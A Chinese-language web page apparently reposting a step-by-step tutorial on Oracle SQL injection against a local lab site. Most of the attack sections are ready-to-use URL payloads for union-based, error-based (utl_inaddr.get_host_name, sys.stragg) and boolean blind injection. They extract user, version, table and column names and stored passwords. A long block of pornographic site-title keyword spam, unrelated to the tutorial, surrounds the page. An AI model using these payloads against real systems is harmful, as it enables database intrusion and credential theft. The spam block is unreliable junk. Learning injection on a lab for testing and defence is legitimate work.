gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区

站長資訊網
最全最豐富的資訊網站

手把手教你完全掌握Oracle注入的小細節

本篇文章給大家帶來了關于Oracle注入的相關知識,其中包括注入的基本步驟以及報錯等問題,希望對大家有幫助。

手把手教你完全掌握Oracle注入的小細節

一、Oracle的獲取數據的基本技巧

1.特殊表

? dual表

◆ 是一個虛擬的表,用來構成select的語法規則,oracle保證dual里面永遠只有一條記錄。

? user_tables表

◆ 該表的table_name列存放著當前數據庫的所有表。

? user_tab_columns表

◆ 該表的column_name 存放著表的所有列。

2. Oracle查詢需要帶上表名

? 如select * from xxx (有一個萬能的表:dual表)。

3. 單行子查詢返回多行需使用 where rownum=1來規范

? rownum 是偽序列數,總是從1開始。

? oracle數據庫從數據文件或緩沖區中讀取數據的順序。

? 它取得第一條記錄則rownum值為1,第二條為2,依次類推。

4.一些基本的后續注入需要用到的內置函數

1. length()用法:

length(char) :返回字符串的長度。

2. COUNT(*)用法:

COUNT(*) 函數,返回在給定的選擇中被選的行數。

3. ascii()用法:

ascii(char) 表示將字符轉換為ASCII碼。

4. SUBSTR用法:

SUBSTR( 源字符串, 查找起始位置, [ 長度 ] )返回值為源字符串中指定起始位置和長度的字符串。

5. INSTR用法:

INSTR(源字符串, 要查找的字符串, 從第幾個字符開始, 要找到第幾個匹配的序號)返回找到的位置,如果找不到則返 回0. 默認查找順序為從左到右。當起始位置為負數的時候,從右邊開始查找。若起始位置為0,返回值為0。

還有一些函數在后續的文章用到時解釋。

二、各基本注入類型基本步驟

環境為VMware上的以win2003為系統 jsp+Oracle的簡易網頁。

1.oracle聯合查詢注入

1.尋找注入點

這一步在我的實驗環境中表現的很明顯,但是在真實環境中,還是需要找到合適的注入點,基本的步驟就是找到與數據庫交互的輸入框,然后判斷這個輸入框的數據類型,以及它的數據的閉合方式,然后添加一些判斷語句查看是否存在注入。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --

在手動添加了一條數據過后,通過構造不同的payload,我們發現url是存在注入漏洞的,我們輸入的payload達到了它的效果。

3.判斷列數

Oracle數據庫同樣是通過order by 進行查詢數據表的列數判斷,order by必須是select -list表達式的列數,在真實環境中的一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --

在order by 3時頁面正常,但是在order by 4 時頁面出現錯誤,因此該查詢表的列數為3

4.Oracle聯合查詢

跟之前的學習的MySQL以及SQL server一樣,Oracle同樣通過union 來實現聯合查詢注入,并且不用跟SQL server聯合查詢注入一樣添加all,僅只用union就行,但是依舊要跟SQL server聯合查詢注入一樣判斷后續各列的數據類型。

接下里我們首先查看回顯位

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --

因為在Oracle數據庫中的select查詢語句必須跟上查詢列表,所以在union后面的select查詢語句我們必須跟上from dual ,dual表是Oracle數據庫中自帶的虛擬表,可當萬能用。

我們看到三個列全部會回顯在頁面上

下面我們還要通過更改null判斷各個回顯位的數據類型

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --

判斷出1號位的數據類型位字符型,接下來我們就可以通過構造不同的payload替換'1',來查詢到我們想要的數據

select user from dual 獲取用戶名

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --

select banner from sys.v_$version where rownum=1 獲取版本

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --

借助聯合查詢和默認表 user_tables獲取當前數據庫所有表名(第一行的)。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--

查看下一行表名手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--

沒有其他的表,只有T_USER

如果可以顯示多行數據,則可以通過以下代碼查看到T-USER所有的列名,不能就只能通過跟上面類似的方法 用“<>”添加附加條件,去除已經查看到的數據然后查看下一行數據

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--

獲取T_USER表中字段為SNAME、SUSER、SPWD,然后獲得他們的值

因為之前判斷過1,2,3號位都回顯,且都為字符型,所以下面一次性查詢,如果只有一個也可以一個一個的查詢

手把手教你完全掌握Oracle注入的小細節

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--

獲取數據

因為靶場比較簡陋,所以實驗過程只是體現自己的注入思路,并不代表T_USER表中的東西就是后臺賬號之內的敏感數據,真實環境中,你查詢的數據可以是任何你能查詢到數據。

2.Oracle報錯注入

1.尋找注入點

當你發現你找到的注入點在輸入錯誤數據會反彈數據庫原始報錯信息時,我們就可以使用報錯注入。然后前面的步驟基本一致,都是先找注入點,然后分析閉合方式。

2.報錯注入

Oracle報錯注入——類型轉換錯誤和報錯函數。

payload:1=utl_inaddr.get_host_name((SQL語句))

查詢結果: ORA-29257: 未知的主機 結果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

T_USER即我們想要查詢的表名,如果不止一個也可以通過上面聯合查詢注入中提到的方法,在sql語句中添加附加'<>'條件遍歷表名。

跟聯合查詢用到的相同的語句查到接下來的列名,數據

下面我們可以用到一個函數來改變之前遍歷每個數據的麻煩:sys.stragg()在單行中獲取所有行信息。

手把手教你完全掌握Oracle注入的小細節

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--

||是Oracle中的字符拼接符號,在以上payload使用的時候需要將其更改為%7C%7C,即它的url編碼

我們通過拼接其他符號以及sys,stragg()函數使我們能夠清晰的分辨數據表中這個字段每一行的數據,在之前的聯合查詢注入同樣可以使用到這個函數,省去遍歷的麻煩

3.Oracle布爾盲注

1.尋找注入點

使用條件:HTTP返回包中沒有執行結果的數據和報錯信息。

當你發出你構造的payload時,頁面并沒有產生變化,即說明你的payload正確。

跟上面兩種注入一樣尋找注入點。

Oracle盲注核心——字符串截取函數、ascii轉換函數、條件判斷語句。

要注意的是在截斷函數中長度是包含開始截取位置那一位的。

2.Oracle布爾盲注

步驟跟之前的順序是一致的 拿表名-列名-數據,這里就不一一列舉了,主要說重點。

我們在拿一個數據時,比如說表名,我們需要先判斷他的長度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--

我們可以先將=改為>或者<然后通過二分法逐步的縮小范圍,最終確定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--

然后就用截取函數 先截取表名的第一個字符,然后轉譯為ascii碼,同樣可以通過>或者<逐漸縮小范圍最終確定表名第一個字符ascii碼為84 即為T,以此類推獲得完整表名

如果會使用burpsuit的話,可以通過burpsuit暴力破解,設置截取位置以及等于號后面的數字來跑出表名。

所有數據均可使用同樣的方法獲取

推薦教程:《Oracle教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区
亚洲一区二区三区四区五区xx| 一级做a免费视频| 人妻激情另类乱人伦人妻| 激情 小说 亚洲 图片: 伦| 久久精品国产精品亚洲色婷婷| 91国在线高清视频| 亚洲av首页在线| 免费人成自慰网站| 国产a级片网站| 一本久道高清无码视频| cao在线观看| 人妻有码中文字幕| 亚洲人辣妹窥探嘘嘘| 日本黄大片一区二区三区| 日韩欧美国产片| 视色,视色影院,视色影库,视色网| 异国色恋浪漫潭| 欧美黑人在线观看| 成人在线看视频| 亚洲av无日韩毛片久久| av中文字幕av| 亚洲国产精品毛片av不卡在线| 嫩草av久久伊人妇女超级a| 中文字幕第38页| 嫩草影院中文字幕| 中文字幕视频在线免费观看| 在线看免费毛片| 免费看又黄又无码的网站| 粉嫩虎白女毛片人体| 免费看av软件| 日韩欧美精品在线观看视频| 中文字幕亚洲乱码| 福利视频一区二区三区四区| 91小视频网站| 久久久亚洲精品无码| 国产精品一区二区小说| 无码粉嫩虎白一线天在线观看 | 免费在线观看的毛片| 91丝袜超薄交口足| 免费看一级大黄情大片| 亚洲精品视频三区| 国产91对白刺激露脸在线观看| 在线观看av免费观看| 久久久999视频| 日韩精品手机在线观看| 欧美第一页浮力影院| 777米奇影视第四色| 久久男人资源站| 老司机av福利| 在线观看免费不卡av| 亚洲 中文字幕 日韩 无码| 日本wwwcom| wwwwww欧美| 国产精品夜夜夜爽张柏芝| 性欧美videossex精品| 苍井空浴缸大战猛男120分钟| 日本a级片在线播放| 人人爽人人爽av| 天天色天天综合网| 天美星空大象mv在线观看视频| 精品无码一区二区三区在线| 久久久久亚洲av无码专区喷水| 亚洲一区精品视频在线观看| 免费大片在线观看| 成人在线观看a| 无码aⅴ精品一区二区三区浪潮| 日韩伦理在线免费观看| av日韩一区二区三区| 丁香花在线影院观看在线播放| 九九久久九九久久| 日本黄大片在线观看| 黄页网站大全在线观看| 日本少妇高潮喷水视频| 欧美成人三级在线视频| 精品99在线视频| 午夜在线观看av| 国产乱叫456| 4444亚洲人成无码网在线观看| 日韩中文字幕亚洲精品欧美| av在线com| 国产美女主播在线播放| 欧美女人性生活视频| youjizzxxxx18| 亚洲国产精品女人| 亚洲国产成人精品无码区99| 亚洲国产精品无码观看久久| av动漫在线观看| 人人爽人人爽av| 国产男女免费视频| 韩国中文字幕av| 亚洲一区 在线播放| 狠狠干 狠狠操| 无限资源日本好片| 在线观看av的网址| 成人中文字幕av| 国产精品日韩三级| 成人精品小视频| 神马午夜伦理影院| 男女曰b免费视频| 91视频成人免费| 国产一区二区视频免费在线观看 | 国产精品嫩草影院8vv8| 大胆欧美熟妇xx| 成年网站免费在线观看| 久久久久久久久久久99| 一区二区三区四区毛片| 18禁网站免费无遮挡无码中文| 中文字幕av不卡在线| 搞av.com| 欧美日韩dvd| 在线观看岛国av| 久久综合久久色| 国产九九九九九| 中文字幕黄色大片| 婷婷免费在线观看| 日本中文字幕片| 日韩中文字幕在线视频观看| 亚洲无在线观看| 色综合色综合色综合色综合| 免费国产黄色网址| www.xxx麻豆| 五月天激情图片| 亚洲小说欧美另类激情| 日韩av片专区| 亚洲国产高清av| 美女少妇一区二区| 免费激情视频在线观看| 黄色一级一级片| 韩国一区二区av| 亚洲视频在线a| 日日噜噜噜噜久久久精品毛片| 国产一区二区三区精彩视频| 欧美一区二区三区爽大粗免费| 精品久久久久久无码中文野结衣| 最新中文字幕久久| 激情久久综合网| 青草全福视在线| 九九久久九九久久| 精品无码一区二区三区在线| 波多野结衣综合网| 成人中文字幕av| 亚洲午夜精品一区| 精产国品一二三区| 日本福利视频网站| 国产乱子伦农村叉叉叉| 日日碰狠狠躁久久躁婷婷| 一区二区三区韩国| 久热精品在线观看视频| 国产三级精品三级在线| 欧美日韩中文字幕在线播放 | 伊人国产精品视频| 99亚洲国产精品| 日本wwww视频| 在线观看日本www| 粉嫩av一区二区三区天美传媒 | 日韩 欧美 视频| 精品久久久噜噜噜噜久久图片| 最新国产黄色网址| 国产一区 在线播放| 91av资源网| 亚洲综合123| av网站在线观看不卡| 天天干天天干天天干天天干天天干| 思思久久精品视频| 黄色免费视频大全| 国产福利影院在线观看| 黑人巨茎大战欧美白妇| 少妇激情一区二区三区| 国产又粗又爽又黄的视频| 免费日韩视频在线观看| 日本xxxxx18| 九九热在线免费| 欧美又粗又长又爽做受| 一区二区三区四区毛片| 成人观看免费完整观看| www.激情网| 在线视频一二区| 91淫黄看大片| koreanbj精品视频一区| 在线无限看免费粉色视频| 国产成人精品视频ⅴa片软件竹菊| 国产经典久久久| 肉色超薄丝袜脚交| 一路向西2在线观看| 免费看又黄又无码的网站| 法国空姐在线观看免费| 色呦色呦色精品| 韩国视频一区二区三区| 免费高清在线观看免费| 婷婷五月综合缴情在线视频| 国产在线无码精品| 91亚洲一区二区| 日日夜夜精品视频免费观看 | 午夜宅男在线视频| 色婷婷综合久久久久中文字幕 | 欧美乱大交xxxxx潮喷l头像| 精品一区二区三区毛片| 一级黄色片在线免费观看| 欧美第一页浮力影院| 超碰在线播放91|